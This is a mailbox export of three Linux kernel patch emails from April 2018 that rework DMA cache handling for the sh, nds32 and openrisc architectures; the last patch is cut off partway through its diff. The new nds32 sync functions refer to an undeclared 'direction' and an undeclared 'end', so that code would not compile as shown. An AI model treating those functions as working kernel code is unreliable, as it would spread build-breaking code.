X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 17/22] sh: introduce a sh_cacheop_vaddr helper
Date: Fri, 20 Apr 2018 10:03:08 +0200
Lines: 71
Approved: news@gmane.org
Message-ID: <20180420080313.18796-18-hch@lst.de>
References: <20180420080313.18796-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1524211597 1867 195.159.176.226 (20 Apr 2018 08:06:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 08:06:37 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 20 10:06:32 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f9R3v-0000Mn-Mm
	for glk-linux-kernel-4@m.gmane.org; Fri, 20 Apr 2018 10:06:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754513AbeDTIIi (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 20 Apr 2018 04:08:38 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:40676 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754307AbeDTIEt (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 20 Apr 2018 04:04:49 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=G7BoRD6XaPp/jaaG1XrkswLn5iHEsyoIjxVCSdpon0g=; b=rbBT+t3ioyWFVj+wK5ernJgiY
        OYlgWakVlCZO0LWr98uVS9ipEESLDwxetJpCElgLG2YI/AHoDMs+TjdXoxU9QaFtAw8b5ms/eij/Y
        dBBpsb/v86Ax3tqV3eqGuvHl6KOUgVP1Srovu6ywQPx777ONYC9An1orJuWpt/gmI541dEYOSxHDs
        hpybtKA+eIaEjh4czBNQJa5W8n6sMAR53/1TaRYsBjktMqQo+gDNl4d2G/IqbxePhnFPBvHL9OWTb
        upkBLCb2Ijt1ipku0eGaIEhesyeQY4PPcjtERpkYuut+vcLKx4FVEQpw8g/LsNUHyoyowAQ28Vw6P
    
Original-Received: from static-242-42-24-46.ipcom.comunitel.net ([46.24.42.242] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1f9R1j-0007kw-Up; Fri, 20 Apr 2018 08:04:16 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180420080313.18796-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2746083 gmane.linux.kernel.cross-arch:43570 gmane.linux.ports.alpha:4969 gmane.linux.kernel.arc:3812 gmane.linux.ports.arm.kernel:644804 gmane.linux.ports.hexagon:1655 gmane.linux.ports.parisc:28527 gmane.linux.ports.sh.devel:56878 gmane.linux.ports.sparc:27695
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2746083>

And use it in the maple bus code to avoid a dma API dependency.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/sh/include/asm/cacheflush.h | 7 +++++++
 arch/sh/mm/consistent.c          | 5 +----
 drivers/sh/maple/maple.c         | 7 ++++---
 3 files changed, 12 insertions(+), 7 deletions(-)

diff --git a/arch/sh/include/asm/cacheflush.h b/arch/sh/include/asm/cacheflush.h
index d103ab5a4e4b..b932e42ef028 100644
--- a/arch/sh/include/asm/cacheflush.h
+++ b/arch/sh/include/asm/cacheflush.h
@@ -101,5 +101,12 @@ void kunmap_coherent(void *kvaddr);
 
 void cpu_cache_init(void);
 
+static inline void *sh_cacheop_vaddr(void *vaddr)
+{
+	if (__in_29bit_mode())
+		vaddr = (void *)CAC_ADDR((unsigned long)vaddr);
+	return vaddr;
+}
+
 #endif /* __KERNEL__ */
 #endif /* __ASM_SH_CACHEFLUSH_H */
diff --git a/arch/sh/mm/consistent.c b/arch/sh/mm/consistent.c
index af2f28572119..516d481525e1 100644
--- a/arch/sh/mm/consistent.c
+++ b/arch/sh/mm/consistent.c
@@ -69,10 +69,7 @@ void dma_generic_free_coherent(struct device *dev, size_t size,
 void sh_sync_dma_for_device(void *vaddr, size_t size,
 		    enum dma_data_direction direction)
 {
-	void *addr;
-
-	addr = __in_29bit_mode() ?
-	       (void *)CAC_ADDR((unsigned long)vaddr) : vaddr;
+	void *addr = sh_cacheop_vaddr(vaddr);
 
 	switch (direction) {
 	case DMA_FROM_DEVICE:		/* invalidate only */
diff --git a/drivers/sh/maple/maple.c b/drivers/sh/maple/maple.c
index 7525039d812c..c9c354bd713a 100644
--- a/drivers/sh/maple/maple.c
+++ b/drivers/sh/maple/maple.c
@@ -300,8 +300,8 @@ static void maple_send(void)
 	mutex_unlock(&maple_wlist_lock);
 	if (maple_packets > 0) {
 		for (i = 0; i < (1 << MAPLE_DMA_PAGES); i++)
-			sh_sync_dma_for_device(maple_sendbuf + i * PAGE_SIZE,
-				       PAGE_SIZE, DMA_BIDIRECTIONAL);
+			__flush_purge_region(maple_sendbuf + i * PAGE_SIZE,
+					PAGE_SIZE);
 	}
 
 finish:
@@ -642,7 +642,8 @@ static void maple_dma_handler(struct work_struct *work)
 		list_for_each_entry_safe(mq, nmq, &maple_sentq, list) {
 			mdev = mq->dev;
 			recvbuf = mq->recvbuf->buf;
-			sh_sync_dma_for_device(recvbuf, 0x400, DMA_FROM_DEVICE);
+			__flush_invalidate_region(sh_cacheop_vaddr(recvbuf),
+					0x400);
 			code = recvbuf[0];
 			kfree(mq->sendbuf);
 			list_del_init(&mq->list);
-- 
2.17.0



From - Thu Nov 08 21:41:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 13/22] nds32: use generic dma_noncoherent_ops
Date: Fri, 20 Apr 2018 10:03:04 +0200
Lines: 307
Approved: news@gmane.org
Message-ID: <20180420080313.18796-14-hch@lst.de>
References: <20180420080313.18796-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1524211626 4078 195.159.176.226 (20 Apr 2018 08:07:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 08:07:06 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 20 10:07:00 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f9R4M-0000vX-Sa
	for glk-linux-kernel-4@m.gmane.org; Fri, 20 Apr 2018 10:06:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754302AbeDTIEo (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 20 Apr 2018 04:04:44 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:40392 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754277AbeDTIEh (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 20 Apr 2018 04:04:37 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=e/piiVYoeMgNX3X8F4IPnAGiFJsIa9bxWzV7sz+2xAQ=; b=lY0IVgUINEsZwdN0Loh2sWvhl
        cO9IS0lQCA5ue5LNSzBuMS4UJi0GykrftQdKVjoI5r9ASfg5F/tu+h37Zq967o0eIPs461TsH+xKB
        C8JRn6XxZthKRmEODOxUyGwA1okmpSP1OA9SRRSVlXbcClYli+gFwcq7E/opUeBZf51qW4VW074x1
        Ns77Lgii0j22WVdQk0lqDYFQ7vAtVHUQT9+HdPvUR0p+KP7oRQMUrKeYbATePWANByM/x9FwvuwCf
        emsasdRFkoH3LVPFPcjga4qblLBh4z4jg970uBVtTj3Jn9CQXNN1bKQato9qe18uWbMuUj++/c2yp
    
Original-Received: from static-242-42-24-46.ipcom.comunitel.net ([46.24.42.242] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1f9R1U-0007Zv-P6; Fri, 20 Apr 2018 08:04:01 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180420080313.18796-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2746084 gmane.linux.kernel.cross-arch:43571 gmane.linux.ports.alpha:4970 gmane.linux.kernel.arc:3813 gmane.linux.ports.arm.kernel:644805 gmane.linux.ports.hexagon:1656 gmane.linux.ports.parisc:28528 gmane.linux.ports.sh.devel:56879 gmane.linux.ports.sparc:27696
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2746084>

Switch to the generic noncoherent direct mapping implementation.

This makes sure kmap_atomic_pfn is consistently used for access to
virtual addresses instead of either using the slower plain kmap
or blindly expecting page_address() to work.

This makes sure the cache_sync routines is called in the unmap_sg
case, to match the unmap_single and sync_{single,sg}_to_cpu cases.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/nds32/Kconfig                   |   3 +
 arch/nds32/include/asm/Kbuild        |   1 +
 arch/nds32/include/asm/dma-mapping.h |  14 ---
 arch/nds32/kernel/dma.c              | 182 ++++++---------------------
 4 files changed, 39 insertions(+), 161 deletions(-)
 delete mode 100644 arch/nds32/include/asm/dma-mapping.h

diff --git a/arch/nds32/Kconfig b/arch/nds32/Kconfig
index 249f38d3388f..67d0ac0a989c 100644
--- a/arch/nds32/Kconfig
+++ b/arch/nds32/Kconfig
@@ -5,10 +5,13 @@
 
 config NDS32
         def_bool y
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
 	select ARCH_WANT_FRAME_POINTERS if FTRACE
 	select CLKSRC_MMIO
 	select CLONE_BACKWARDS
 	select COMMON_CLK
+	select DMA_NONCOHERENT_OPS
 	select GENERIC_ATOMIC64
 	select GENERIC_CPU_DEVICES
 	select GENERIC_CLOCKEVENTS
diff --git a/arch/nds32/include/asm/Kbuild b/arch/nds32/include/asm/Kbuild
index 06bdf8167f5a..b3e951f805f8 100644
--- a/arch/nds32/include/asm/Kbuild
+++ b/arch/nds32/include/asm/Kbuild
@@ -13,6 +13,7 @@ generic-y += cputime.h
 generic-y += device.h
 generic-y += div64.h
 generic-y += dma.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += errno.h
 generic-y += exec.h
diff --git a/arch/nds32/include/asm/dma-mapping.h b/arch/nds32/include/asm/dma-mapping.h
deleted file mode 100644
index 2dd47d245c25..000000000000
--- a/arch/nds32/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,14 +0,0 @@
-// SPDX-License-Identifier: GPL-2.0
-// Copyright (C) 2005-2017 Andes Technology Corporation
-
-#ifndef ASMNDS32_DMA_MAPPING_H
-#define ASMNDS32_DMA_MAPPING_H
-
-extern struct dma_map_ops nds32_dma_ops;
-
-static inline struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &nds32_dma_ops;
-}
-
-#endif
diff --git a/arch/nds32/kernel/dma.c b/arch/nds32/kernel/dma.c
index d291800fc621..688f1a03dee6 100644
--- a/arch/nds32/kernel/dma.c
+++ b/arch/nds32/kernel/dma.c
@@ -3,17 +3,14 @@
 
 #include <linux/types.h>
 #include <linux/mm.h>
-#include <linux/export.h>
 #include <linux/string.h>
-#include <linux/scatterlist.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/io.h>
 #include <linux/cache.h>
 #include <linux/highmem.h>
 #include <linux/slab.h>
 #include <asm/cacheflush.h>
 #include <asm/tlbflush.h>
-#include <asm/dma-mapping.h>
 #include <asm/proc-fns.h>
 
 /*
@@ -22,11 +19,6 @@
 static pte_t *consistent_pte;
 static DEFINE_RAW_SPINLOCK(consistent_lock);
 
-enum master_type {
-	FOR_CPU = 0,
-	FOR_DEVICE = 1,
-};
-
 /*
  * VM region handling support.
  *
@@ -124,10 +116,8 @@ static struct arch_vm_region *vm_region_find(struct arch_vm_region *head,
 	return c;
 }
 
-/* FIXME: attrs is not used. */
-static void *nds32_dma_alloc_coherent(struct device *dev, size_t size,
-				      dma_addr_t * handle, gfp_t gfp,
-				      unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	struct page *page;
 	struct arch_vm_region *c;
@@ -232,8 +222,8 @@ static void *nds32_dma_alloc_coherent(struct device *dev, size_t size,
 	return NULL;
 }
 
-static void nds32_dma_free(struct device *dev, size_t size, void *cpu_addr,
-			   dma_addr_t handle, unsigned long attrs)
+void arch_dma_free(struct device *dev, size_t size, void *cpu_addr,
+		dma_addr_t handle, unsigned long attrs)
 {
 	struct arch_vm_region *c;
 	unsigned long flags, addr;
@@ -333,145 +323,43 @@ static int __init consistent_init(void)
 }
 
 core_initcall(consistent_init);
-static void consistent_sync(void *vaddr, size_t size, int direction, int master_type);
-static dma_addr_t nds32_dma_map_page(struct device *dev, struct page *page,
-				     unsigned long offset, size_t size,
-				     enum dma_data_direction dir,
-				     unsigned long attrs)
-{
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		consistent_sync((void *)(page_address(page) + offset), size, dir, FOR_DEVICE);
-	return page_to_phys(page) + offset;
-}
-
-static void nds32_dma_unmap_page(struct device *dev, dma_addr_t handle,
-				 size_t size, enum dma_data_direction dir,
-				 unsigned long attrs)
-{
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		consistent_sync(phys_to_virt(handle), size, dir, FOR_CPU);
-}
 
-/*
- * Make an area consistent for devices.
- */
-static void consistent_sync(void *vaddr, size_t size, int direction, int master_type)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	unsigned long start = (unsigned long)vaddr;
-	unsigned long end = start + size;
-
-	if (master_type == FOR_CPU) {
-		switch (direction) {
-		case DMA_TO_DEVICE:
-			break;
-		case DMA_FROM_DEVICE:
-		case DMA_BIDIRECTIONAL:
-			cpu_dma_inval_range(start, end);
-			break;
-		default:
-			BUG();
-		}
-	} else {
-		/* FOR_DEVICE */
-		switch (direction) {
-		case DMA_FROM_DEVICE:
-			break;
-		case DMA_TO_DEVICE:
-		case DMA_BIDIRECTIONAL:
-			cpu_dma_wb_range(start, end);
-			break;
-		default:
-			BUG();
-		}
+	void *addr = kmap_atomic_pfn(PHYS_PFN(paddr));
+	unsigned long start = (unsigned long)addr;
+
+	switch (direction) {
+	case DMA_FROM_DEVICE:
+		break;
+	case DMA_TO_DEVICE:
+	case DMA_BIDIRECTIONAL:
+		cpu_dma_wb_range(start, start + size);
+		break;
+	default:
+		BUG();
 	}
-}
 
-static int nds32_dma_map_sg(struct device *dev, struct scatterlist *sg,
-			    int nents, enum dma_data_direction dir,
-			    unsigned long attrs)
-{
-	int i;
-
-	for (i = 0; i < nents; i++, sg++) {
-		void *virt;
-		unsigned long pfn;
-		struct page *page = sg_page(sg);
-
-		sg->dma_address = sg_phys(sg);
-		pfn = page_to_pfn(page) + sg->offset / PAGE_SIZE;
-		page = pfn_to_page(pfn);
-		if (PageHighMem(page)) {
-			virt = kmap_atomic(page);
-			consistent_sync(virt, sg->length, dir, FOR_CPU);
-			kunmap_atomic(virt);
-		} else {
-			if (sg->offset > PAGE_SIZE)
-				panic("sg->offset:%08x > PAGE_SIZE\n",
-				      sg->offset);
-			virt = page_address(page) + sg->offset;
-			consistent_sync(virt, sg->length, dir, FOR_CPU);
-		}
-	}
-	return nents;
-}
-
-static void nds32_dma_unmap_sg(struct device *dev, struct scatterlist *sg,
-			       int nhwentries, enum dma_data_direction dir,
-			       unsigned long attrs)
-{
+	kunmap_atomic(addr);
 }
 
-static void
-nds32_dma_sync_single_for_cpu(struct device *dev, dma_addr_t handle,
-			      size_t size, enum dma_data_direction dir)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	consistent_sync((void *)phys_to_virt(handle), size, dir, FOR_CPU);
-}
-
-static void
-nds32_dma_sync_single_for_device(struct device *dev, dma_addr_t handle,
-				 size_t size, enum dma_data_direction dir)
-{
-	consistent_sync((void *)phys_to_virt(handle), size, dir, FOR_DEVICE);
-}
-
-static void
-nds32_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg, int nents,
-			  enum dma_data_direction dir)
-{
-	int i;
-
-	for (i = 0; i < nents; i++, sg++) {
-		char *virt =
-		    page_address((struct page *)sg->page_link) + sg->offset;
-		consistent_sync(virt, sg->length, dir, FOR_CPU);
+	void *addr = kmap_atomic_pfn(PHYS_PFN(paddr));
+	unsigned long start = (unsigned long)addr;
+
+	switch (direction) {
+	case DMA_TO_DEVICE:
+		break;
+	case DMA_FROM_DEVICE:
+	case DMA_BIDIRECTIONAL:
+		cpu_dma_inval_range(start, end);
+		break;
+	default:
+		BUG();
 	}
-}
-
-static void
-nds32_dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
-			     int nents, enum dma_data_direction dir)
-{
-	int i;
 
-	for (i = 0; i < nents; i++, sg++) {
-		char *virt =
-		    page_address((struct page *)sg->page_link) + sg->offset;
-		consistent_sync(virt, sg->length, dir, FOR_DEVICE);
-	}
+	kunmap_atomic(addr);
 }
-
-struct dma_map_ops nds32_dma_ops = {
-	.alloc = nds32_dma_alloc_coherent,
-	.free = nds32_dma_free,
-	.map_page = nds32_dma_map_page,
-	.unmap_page = nds32_dma_unmap_page,
-	.map_sg = nds32_dma_map_sg,
-	.unmap_sg = nds32_dma_unmap_sg,
-	.sync_single_for_device = nds32_dma_sync_single_for_device,
-	.sync_single_for_cpu = nds32_dma_sync_single_for_cpu,
-	.sync_sg_for_cpu = nds32_dma_sync_sg_for_cpu,
-	.sync_sg_for_device = nds32_dma_sync_sg_for_device,
-};
-
-EXPORT_SYMBOL(nds32_dma_ops);
-- 
2.17.0



From - Thu Nov 08 21:41:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 15/22] openrisc: use generic dma_noncoherent_ops
Date: Fri, 20 Apr 2018 10:03:06 +0200
Lines: 240
Approved: news@gmane.org
Message-ID: <20180420080313.18796-16-hch@lst.de>
References: <20180420080313.18796-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1524211647 5208 195.159.176.226 (20 Apr 2018 08:07:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 08:07:27 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 20 10:07:22 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f9R4j-0000vX-Ib
	for glk-linux-kernel-4@m.gmane.org; Fri, 20 Apr 2018 10:07:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754401AbeDTIJ3 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 20 Apr 2018 04:09:29 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:40538 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754283AbeDTIEn (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 20 Apr 2018 04:04:43 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=ArzbOtkYTANRsiGaXx5Yvjmfb5lT2+rt7trPCUU+OVk=; b=PVTNWesqfDHaJySZWAR7CMyMh
        Vohr4tvd0CYt32KJyEsBe96IpJZR4MlrPpnHIgTxcIz24S4u4ipoJSW+EhR7QJ4nddKiTAsS7nURn
        1lsX7YwoIGz5FHE2E0L+Ih9Nv69fTLcsfJmdYkDpQFL9oDUsxJpBq/QxTj+CakA2Rsage0jsO6iAN
        B8/bwm48kc519NDu03AWZu0CJtvQKhYylep77NjRo4cYP0K8kGVeai1DH/Ipdep17L8hsnckDdEs/
        1t4N14OZcNv9oQhqExs3SIEHZE6Rtd4FCRlD21QWqXQTZCH5u8az8O7t3rDo/9kGI6N5HropS+iOe
    
Original-Received: from static-242-42-24-46.ipcom.comunitel.net ([46.24.42.242] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1f9R1c-0007cw-IG; Fri, 20 Apr 2018 08:04:09 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180420080313.18796-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2746085 gmane.linux.kernel.cross-arch:43572 gmane.linux.ports.alpha:4971 gmane.linux.kernel.arc:3814 gmane.linux.ports.arm.kernel:644806 gmane.linux.ports.hexagon:1657 gmane.linux.ports.parisc:28529 gmane.linux.ports.sh.devel:56880 gmane.linux.ports.sparc:27697
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2746085>

Switch to the generic noncoherent direct mapping implementation.

Fix sync_single_for_device to do the same cache coherency operations as
the more tested map_single path, as both should transfer ownership to
the device.

Remove the sync_single_for_cpu implementation as no cache coherency
operations are used in the more commonly used unmap_single case, both
of which transfer ownership to the CPU.

Implement the missing sync_sg_for_device operation, matching the cache
coherency operations in sync_single_for_device and map_{single,sg}.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/openrisc/Kconfig                   |   2 +
 arch/openrisc/include/asm/Kbuild        |   1 +
 arch/openrisc/include/asm/dma-mapping.h |  35 --------
 arch/openrisc/kernel/dma.c              | 109 +++---------------------
 4 files changed, 13 insertions(+), 134 deletions(-)
 delete mode 100644 arch/openrisc/include/asm/dma-mapping.h

diff --git a/arch/openrisc/Kconfig b/arch/openrisc/Kconfig
index 9ecad05bfc73..65e3c574c9d3 100644
--- a/arch/openrisc/Kconfig
+++ b/arch/openrisc/Kconfig
@@ -6,6 +6,8 @@
 
 config OPENRISC
 	def_bool y
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
+	select DMA_NONCOHERENT_OPS
 	select OF
 	select OF_EARLY_FLATTREE
 	select IRQ_DOMAIN
diff --git a/arch/openrisc/include/asm/Kbuild b/arch/openrisc/include/asm/Kbuild
index f05c722a21f8..e663a996b612 100644
--- a/arch/openrisc/include/asm/Kbuild
+++ b/arch/openrisc/include/asm/Kbuild
@@ -6,6 +6,7 @@ generic-y += current.h
 generic-y += device.h
 generic-y += div64.h
 generic-y += dma.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
diff --git a/arch/openrisc/include/asm/dma-mapping.h b/arch/openrisc/include/asm/dma-mapping.h
deleted file mode 100644
index e212a1f0b6d2..000000000000
--- a/arch/openrisc/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * OpenRISC Linux
- *
- * Linux architectural port borrowing liberally from similar works of
- * others.  All original copyrights apply as per the original source
- * declaration.
- *
- * OpenRISC implementation:
- * Copyright (C) 2010-2011 Jonas Bonn <jonas@southpole.se>
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- */
-
-#ifndef __ASM_OPENRISC_DMA_MAPPING_H
-#define __ASM_OPENRISC_DMA_MAPPING_H
-
-/*
- * See Documentation/DMA-API-HOWTO.txt and
- * Documentation/DMA-API.txt for documentation.
- */
-
-#include <linux/dma-debug.h>
-#include <linux/dma-mapping.h>
-
-extern const struct dma_map_ops or1k_dma_map_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &or1k_dma_map_ops;
-}
-
-#endif	/* __ASM_OPENRISC_DMA_MAPPING_H */
